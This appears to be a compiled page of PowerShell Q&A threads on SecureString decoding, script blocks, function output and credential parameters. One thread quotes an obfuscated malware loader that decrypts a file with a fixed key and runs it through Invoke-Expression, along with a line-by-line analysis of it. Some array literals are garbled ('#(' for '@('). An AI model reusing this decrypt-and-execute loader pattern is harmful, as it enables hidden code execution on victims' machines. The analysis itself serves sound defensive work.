Please lay your expert opinion on the security of these two scripts:
[Note: The output of these two scripts will be pipelined. They will not be assigned to any variable."]
First :
Function GetFrom-SecureString([SecureString]$SecureString) {
[IntPtr]$valuePtr = [IntPtr]::Zero
try {
$valuePtr = [Runtime.InteropServices.Marshal]::SecureStringToGlobalAllocUnicode($SecureString)
return [Runtime.InteropServices.Marshal]::PtrToStringUni($valuePtr);
}
finally {
[Runtime.InteropServices.Marshal]::ZeroFreeGlobalAllocUnicode($valuePtr);
}
}
Second :
Function Decode-SecureString([SecureString]$SecureString){
try{
$bstr = [Runtime.InteropServices.Marshal]::SecureStringToBSTR($secureString)
$length = [Runtime.InteropServices.Marshal]::ReadInt32($bstr, -4)
for ( $i = 0; $i -lt $length; ++$i ) {
[CHAR][Runtime.InteropServices.Marshal]::ReadByte($bstr, $i)
}
}
finally{
if ( $bstr -ne [IntPtr]::Zero ) {
[Runtime.InteropServices.Marshal]::ZeroFreeBSTR($bstr)
}
}
}
I know that its not secure to use $cred.GetNetworkCredential().Password because it converts the securestring to the memory first, and many have pointed out to me to use marshalling. So, I have constructed the above two scripts as trial and I would like to know if there's anything reckless maneuver in these two scripts.
Edit:
I have updated my second string to clean up the BSTR by implementing :
finally{
if ( $bstr -ne [IntPtr]::Zero ) {
[Runtime.InteropServices.Marshal]::ZeroFreeBSTR($bstr) #Frees the BSTR.
}
}
However, the returned values captured in the pipeline seem to be not at all secure since it is in the memory too until its cleaned up.
[Note: I haven't yet programmed the script which will accept the pipelined values.]
The very point of using a securestring seems to be destroyed by decrypting it back to plaintext. As if we should never decrypt the securestring. Correct me if I am wrong.
The chosen decryption technique does not matter, since you're still converting to plaintext.
Even when the secret is in memory only for a short period of time, what's preventing me from using debugging techniques to read it from memory?
PowerShell has an integrated debugger that can step into code and inspect variables (Wait-Debugger).
Script output using variables, parameters or pipeline can be intercepted by overriding/redefining commandlets, using aliassses or other mocking techniques.
You are also vulnerable for unexpected disclosures, for example when the script you pass the secret into is logging it when using -Verbose etc..
Using the pipeline or a direct variable doesn't matter in this aspet. Neither is inherently safer, both require / result in having the secret in plain text in memory.
I would look for an option to specify the secret value encrypted to the target, bypassing the need for decryption at all.
Related
I found this code in a folder into %appdata%Roaming :(
Can anybody tell me wat it does?
try{Get-Transaction:Test-Connection
New-WindowsImage:Register-ArgumentCompleter
Get-HgsTrace:Set-VMMigrationNetwork}catch{
$sexq="pZsvjJoFqppwjeLWZTreMIrzqZarktnOJMwsddyKhIBlweDpKblExIlrlfWkOVsb" -replace "IoG|ZsvjJ|Fqpp|jeLWZTr|MIrzqZa|ktnOJMw|ddyK|IBlw|DpKb|ExIlr|fWkOVsb";
try{Save-VM:Get-Variable
Set-RuleOption:Get-WindowsSearchSetting
Remove-PSReadLineKeyHandler:Remove-VMResourcePool}catch{}
$ILRorUyZk=Get-Process $sexq;
if ($ILRorUyZk.length -lt 2){
$uMBOKUgyzWiOSfp=#(1..16);
$HXZBX=[System.Runtime.InteropServices.Marshal]
$iuOpORc= Get-Content "main.sh"
$kvsqQjipalHpywxaPr= ConvertTo-SecureString $iuOpORc -key $uMBOKUgyzWiOSfp;
$reEFPHvZmrf = $HXZBX::SecureStringToBSTR($kvsqQjipalHpywxaPr);
try{Remove-ItemProperty:Show-WindowsDeveloperLicenseRegistration
Connect-WSMan:Confirm-SecureBootUEFI
Revoke-VMConnectAccess:Suspend-VMReplication}catch{$upd='LmzXprwH';}
$zcthAxqVWAZrzkx = $HXZBX::PtrToStringAuto($reEFPHvZmrf);
try{Move-Item:Find-Package
Update-FormatData:Invoke-Item
ForEach-Object:New-TlsSessionTicketKey}catch{}
$zcthAxqVWAZrzkx -replace "UGSttylIkwIFr" | iex;}}
Thank you!
Let's see. The first try-catch might be obfuscation to hide from cursory examination. The catch (pun intended) is in the the catch block. It contains the payload, so the try block is intended to throw an exception.
$sexq="pZsvjJoFqppwjeLWZTreMIrzqZarktnOJMwsddyKhIBlweDpKblExIlrlfWkOVsb" `
-replace "IoG|ZsvjJ|Fqpp|jeLWZTr|MIrzqZa|ktnOJMw|ddyK|IBlw|DpKb|ExIlr|fWkOVsb";
The variable contains obfuscated word powershell, which is revealed by replacing a lot of nonsense strings with nothing. There is -replce with search argument but not replacement argument, thus it just removes fillers IoG, ZsvjJ...
$ILRorUyZk=Get-Process $sexq;
if ($ILRorUyZk.length -lt 2){
$uMBOKUgyzWiOSfp=#(1..16);
Here Get-Process is used to find if Powershell is running. If multiple processes aren't being run, create an array containing values 1-16. This might be to avoid situations in which interactive sessions are active.
$HXZBX=[System.Runtime.InteropServices.Marshal]
Create an alias to InterOpServices' Marshal. Nothing troublesome here, legitimate use is to save in typing and reading long namespace descriptors.
$iuOpORc= Get-Content "main.sh"
$kvsqQjipalHpywxaPr= ConvertTo-SecureString $iuOpORc -key $uMBOKUgyzWiOSfp;
A file main.sh is read. It contains a SecureString, encrypted with key 1,2,3...,15,16.
$reEFPHvZmrf = $HXZBX::SecureStringToBSTR($kvsqQjipalHpywxaPr);
SecureString payload is converted to BSTR. This is to decrypt the SecureString, I guess.
try{Remove-ItemProperty:Show-WindowsDeveloperLicenseRegistration
Connect-WSMan:Confirm-SecureBootUEFI
Revoke-VMConnectAccess:Suspend-VMReplication}catch{$upd='LmzXprwH';}
Another "let's hide in the catch block" that sets a variable with nonsense content. No idea why.
$zcthAxqVWAZrzkx = $HXZBX::PtrToStringAuto($reEFPHvZmrf);
try{Move-Item:Find-Package
Update-FormatData:Invoke-Item
ForEach-Object:New-TlsSessionTicketKey}catch{}
Another a step in decryption, followed by weird stuff in another try-catch block without obvious intent.
$zcthAxqVWAZrzkx -replace "UGSttylIkwIFr" | iex;}}
The final payload from SecureString conversion is filtered to remove obfuscation, and the result is passed for execution to Invoke-Expression.
To see what's the payload, do as per Jeramy's comment. Replacing variable names to a bit more descriptive:
$key=#(1..16)
$encryptedStr = Get-Content "main.sh"
$secString = ConvertTo-SecureString $encryptedStr -key $key
$bstrPtr = $HXZBX::SecureStringToBSTR($secString)
$obfuscatedStr = $HXZBX::PtrToStringAuto($bstrPtr)
$obfuscatedStr -replace "UGSttylIkwIFr"
I have a code like this that is repeated multiple times in each of my conditional statements/cases. i have 3 conditions...for now, and everything works perfectly, but im mulling reformatting the script for easier reading.
One of the ways ive thought is to make a function, but the problem is that, i have a while loop that is intended for a specific scenario in each conditional statement that dequeues from a Queue containing some column names from a file.
so based on the code below that i want to put in some sort of template, i cant think of how this could work because as you can see, $tb stands for $table, which is what im opening prior to the conditional statements in my code.
if i were to include everything regarding the server connection and table in a function, that means when i pass the "function" containing the code to the while loops, it will be creating/instantiating the table every iteration, which wont make sense and wont work anyways.
so i am thinking of using something like annotations, something like a template which wont expect to return anything or need reasonable arguments like a function otherwise would. The question is, does something like that exist?
This is the code that is the same across all my while loops that i would like to "store" somewhere and just pass it to them:
$dqHeader = $csvFileHeadersQueue.Dequeue()
$column = New-Object Microsoft.SqlServer.Management.Smo.Column($tb, $dqHeader, $DataType1)
if ($dqHeader -in $PrimaryKeys)
{
# We require a primary key.
$column.Nullable = $false
#$column.Identity = $true #not needed with VarChar
#$column.IdentitySeed = 1 #not needed with VarChar
$tb.Columns.Add($column)
$primaryKey = New-Object Microsoft.SqlServer.Management.Smo.Index($tb, "PK_$csvFileBaseName")
$primaryKey.IndexType = [Microsoft.SqlServer.Management.Smo.IndexType]::ClusteredIndex
$primaryKey.IndexKeyType = [Microsoft.SqlServer.Management.Smo.IndexKeyType]::DriPrimaryKey #Referential Integrity to prevent data inconsistency. Changes in primary keys must be updated in foreign keys.
$primaryKey.IndexedColumns.Add((New-Object Microsoft.SqlServer.Management.Smo.IndexedColumn($primaryKey, $dqHeader)))
$tb.Indexes.Add($primaryKey)
}
else
{
$tb.Columns.Add($column)
}
think of it like a puzzle piece that would fit right in when requested to do so in the while loops to complete that "puzzle"
As per comment:
you can share a (hardcoded) [ScriptBlock] ($template = {code in post goes here}) with a While loop (or function) and invoke it with e.g. Invoke-Command $template or the call operator: &$template. Dynamically modifying an expression and using commands like Invoke-Expression or [ScriptBlock]::Create() is not a good idea due to risk of malicious code injections (see: #1454).
You might even add parameters to your shared [ScriptBlock], like:
$Template = {
[CmdletBinding()]Param ($DataType)
$column = New-Object Microsoft.SqlServer.Management.Smo.Column($tb, $dqHeader, $DataType)
...
}
ForEach ($MyDataType in #('MyDataType')) {
Invoke-Command $Template -ArgumentList $MyDataType
}
But the counter-question remains: Why not just creating a "helper" function?:
Function template($DataType) {
$column = New-Object Microsoft.SqlServer.Management.Smo.Column($tb, $dqHeader, $DataType)
...
}
ForEach ($MyDataType in #('MyDataType')) {
template $MyDataType
}
I can write the following code in javascript:
function sum(num1, num2) {
return num1 + num2;
}
and then get a value
var someNum = sum(2,5);
I would like to do the same thing in Powershell, but I read the following guide:
PowerShell also knows the return keyword; however, it follows a
different logic. In general, the purpose of return is to end the
execution of a code section and to give the control back to the parent
block.
If you add a parameter to the return statement, the value will indeed
be returned to the calling subroutine. However, this also applies for
all other statements with an output. This means that any output
produced in the function will be stored in the variable together with
the return parameter.
I want to do this for the sake of having pure functions. However, it seems doing
var someNum = sum(2,5);
is entirely redundant, when I can just call the function above, define someNum inside of it, and it will be available in the global scope.
Am I missing something or is it possible to write pure functions in Powershell that don't return everything inside the function?
A bit tangential, but here is my actual code:
function GetPreviousKeyMD5Hashes() {
$query = "SELECT Name, MD5, executed FROM [AMagicDb].[dbo].cr_Scripts";
$command = New-Object System.Data.SQLClient.SQLCommand;
$command.Connection = $connection;
$command.CommandText = $query;
try {
$reader = $command.ExecuteReader();
while ($reader.Read()) {
$key = $reader.GetString(1)
$previousScripts.Add($key) | Out-Null
}
$reader.Close();
Write-Output "$(Get-Date) Finished querying previous scripts"
}
catch {
$exceptionMessage = $_.Exception.Message;
Write-Output "$(Get-Date) Error running SQL at with exception $exceptionMessage"
}
}
and then:
$previousScripts = New-Object Collections.Generic.HashSet[string];
GetPreviousKeyMD5Hashes;
This code isn't clear to me at all - running GetPreviousKeyMD5Hashes does set $previousScripts, but this is entirely unclear to whoever modifies this after me. My only other alternative (afaik) is to have all this in line, which also isn't readable.
is entirely redundant, when I can just call the function above, define someNum inside of it, and it will be available in the global scope.
No: functions execute in a child scope (unless you dot-source them with .), so variables created or assigned to inside a function are local to it.
Am I missing something or is it possible to write pure functions in Powershell that don't return everything inside the function?
Yes: The implicit output behavior only applies to statements whose output is neither captured - $var = ... - nor redirected - ... > foo.txt
If there are statements that happen to produce output that you'd like to discard, use $null = ... or ... > $null
Note: ... | Out-Null works in principle too, but will generally perform worse, especially in earlier PowerShell versions - thanks, TheIncorrigible1.
If there are status messages that you'd like to write without their becoming part of the output, use Write-Host or, preferably Write-Verbose or, in PSv5+, Write-Information, though note that the latter two require opt-in for their output to be visible in the console.
Do NOT use Write-Output to write status messages, as it writes to the success output stream, whose purpose is to output data ("return values").
See this answer of mine for more information about PowerShell's output streams.
The equivalent of your JavaScript code is therefore:
function sum($num1, $num2) {
Write-Host "Adding $num1 and $num2..." # print status message to host (console)
$num1 + $num2 # perform the addition and implicitly output result
}
PS> $someNum = sum 1 2 # NOTE: arguments are whitespace-separated, without (...)
Adding 1 and 2... # Write-Host output was passed through to console
PS> $someNum # $someNum captured the success output stream of sum()
3
Am I missing something or is it possible to write pure functions in Powershell that don't return everything inside the function?
You can't have your cake and eat it too...
If you have no out put in your function, then it is "pure" like you desire. If you have output, that also becomes part of the return.
You can use [ref] params. See below for example.
function DoStuff([ref]$refObj)
{
Write-Output "DoStuff: Enter"
$refObj.Value += $(1 + 2)
$refObj.Value += "more strings"
Write-Output "DoStuff: Exit"
}
$refRet = #()
$allRet = DoStuff([ref]$refRet)
"allRet"
$allRet
"refRet"
$refRet
"`n`nagain"
$allRet = DoStuff([ref]$refRet)
"allRet"
$allRet
"refRet"
$refRet
Note: Powershell doesn't need semicolons at the end of each statement; only for separating multiple statements on the same line.
Whenever possible, it's a good idea to avoid changing global state within a function. Pass input as parameters, and return the output, so you aren't tied to using the function in only one way. Your sample could look like this:
function sum
{
param($num1,$num2)
return $num1+$num2
}
$somenum=sum 2 5
Now, with Powershell, the return statement isn't needed. The result of every statement that isn't otherwise assigned, captured, redirected, or otherwise used, is just thrown in with the return value. So we could replace the return statement above with simply
$num1+$num2
You're already making use of this in your code with:
$previousScripts.Add($key) | Out-Null
where you are discarding the result of .Add(). Otherwise it would be included in the return value.
Personally, I find using return to explicitly mark the return value makes it easier to read. Powershell's way of putting all if the output in the return caused a lot of trouble for me as I was learning.
So, the only fixes to your code I would make are:
Move $previousScripts = New-Object Collections.Generic.HashSet[string] to inside the function, making it local.
Add return $previousScripts to the end of the function.
I am trying to figure out how to populate an unknown number of variables based on user input (writing a script that obtains certificates from a CA, and sometimes these certificates contain more than one name (SANs) and it is impossible to know how many so this needs to be dynamic).
I know I start with setting up params like this:
[CmdletBinding()]
Param(
[Parameter(Mandatory=$True)]
[string[]]$SANs
)
And then I need to somehow take those values and assign them to $san1, $san2, $san3 and so on.
Being new to programming, I am not even sure what to call this. Would you use a foreach loop to somehow populate these variables?
ForEach ($SAN in $SANs) {
what do I do here?
}
The end result is a need to populate a string with these variables like dns=$san1&dns=$san2&dns=$san3 etc...
Functions and scripts can take parameters. The parameter block in your example looked like...
function foo {
Param([string[]]$SANs)
}
That parameter, $SANs, is an array of strings. A single string would look like this...
$stuff = 'barf'
An array of strings looks like this...
$stuff = #('barf', 'toot', 'ruff', 'meow')
So far so good? If you need to get each of the things in the array, you'd use a loop...
foreach ($thing in $stuff) { write-output $thing }
...for example...
$san_declaration
foreach ($thing in $stuff) {
if ($san_declaration.length -eq 0) {
$san_declaration = "dns=${thing}"
} else {
$san_declaration += "&dns=${thing}"
}
}
Now, if you (not that you asked) happen to be calling Get-Certificate, just remember the SANs parameter is a string array. In that case, you'd just pass in the string array instead of creating the string like you were doing.
Get-Certificate -DnsName $stuff
I'm writing a powershell module to interact with AWS. Most of the functions need to take parameters that are the credentials to use - awsAccessKeyId, awsSecretKey and credentialsFile.
It's getting dull copy/pasting those parameters to each function in the module.
Is there a way to declare that these are CommonParameters for the set of functions that the module exports?
Also, is there a way to extract the common (ie, duplicated) parameter-set handling switch-statement so it can be called by all the functions that need it?
Here's an example function:
function New-S3Client {
[CmdletBinding(DefaultParametersetName="credentialsFile")]
param
(
[parameter(Mandatory=$true, ParameterSetName="specifyKey")] [string]$accessKey,
[parameter(Mandatory=$true, ParameterSetName="specifyKey")] [string]$secretKey,
[parameter(ParameterSetName="credentialsFile")] [string]$credentialsFile = "$env:USERPROFILE\.aws\credentials"
)
switch($PsCmdlet.ParameterSetName)
{
"specifyKey" {
$env:awsAccessKeyId = $accessKey
$env:awsSecretKey = $secretKey
break
}
"credentialsFile" {
$env:awsAccessKeyId = Read-ValueForKeyFromFile -from $credentialsFile -field AWSAccessKeyId
$env:awsSecretKey = Read-ValueForKeyFromFile -from $credentialsFile -field AWSSecretKey
break
}
}
$config = New-Object Amazon.S3.AmazonS3Config
$config.WithServiceURL("https://s3.eu-west-1.amazonaws.com")
$client = New-Object Amazon.S3.AmazonS3Client($env:awsAccessKeyId, $env:awsSecretKey, $config)
return $client
}
I would like to extract parameters 2-4 inclusive to CommonParameters, and then the switch block to some common function.
Most modules I've come across use a Connect-SomeService function and then handle the connections/credentials within the module state. Maybe with some parts of it exposed in the callers session (array variable keeping track of connections).
Like VMware PowerCLI...
Connect-VIServer
Get-VM
This way you only request credentials in a Connect-S3Service function. That command saves the connection in a variable that all your other functions use by default. However doing it this way mean you'll still want to have a $S3Service Common Parameter in all your other functions (incase you want to send jobs only to a specific connection), but atleast thats two parameters fewer.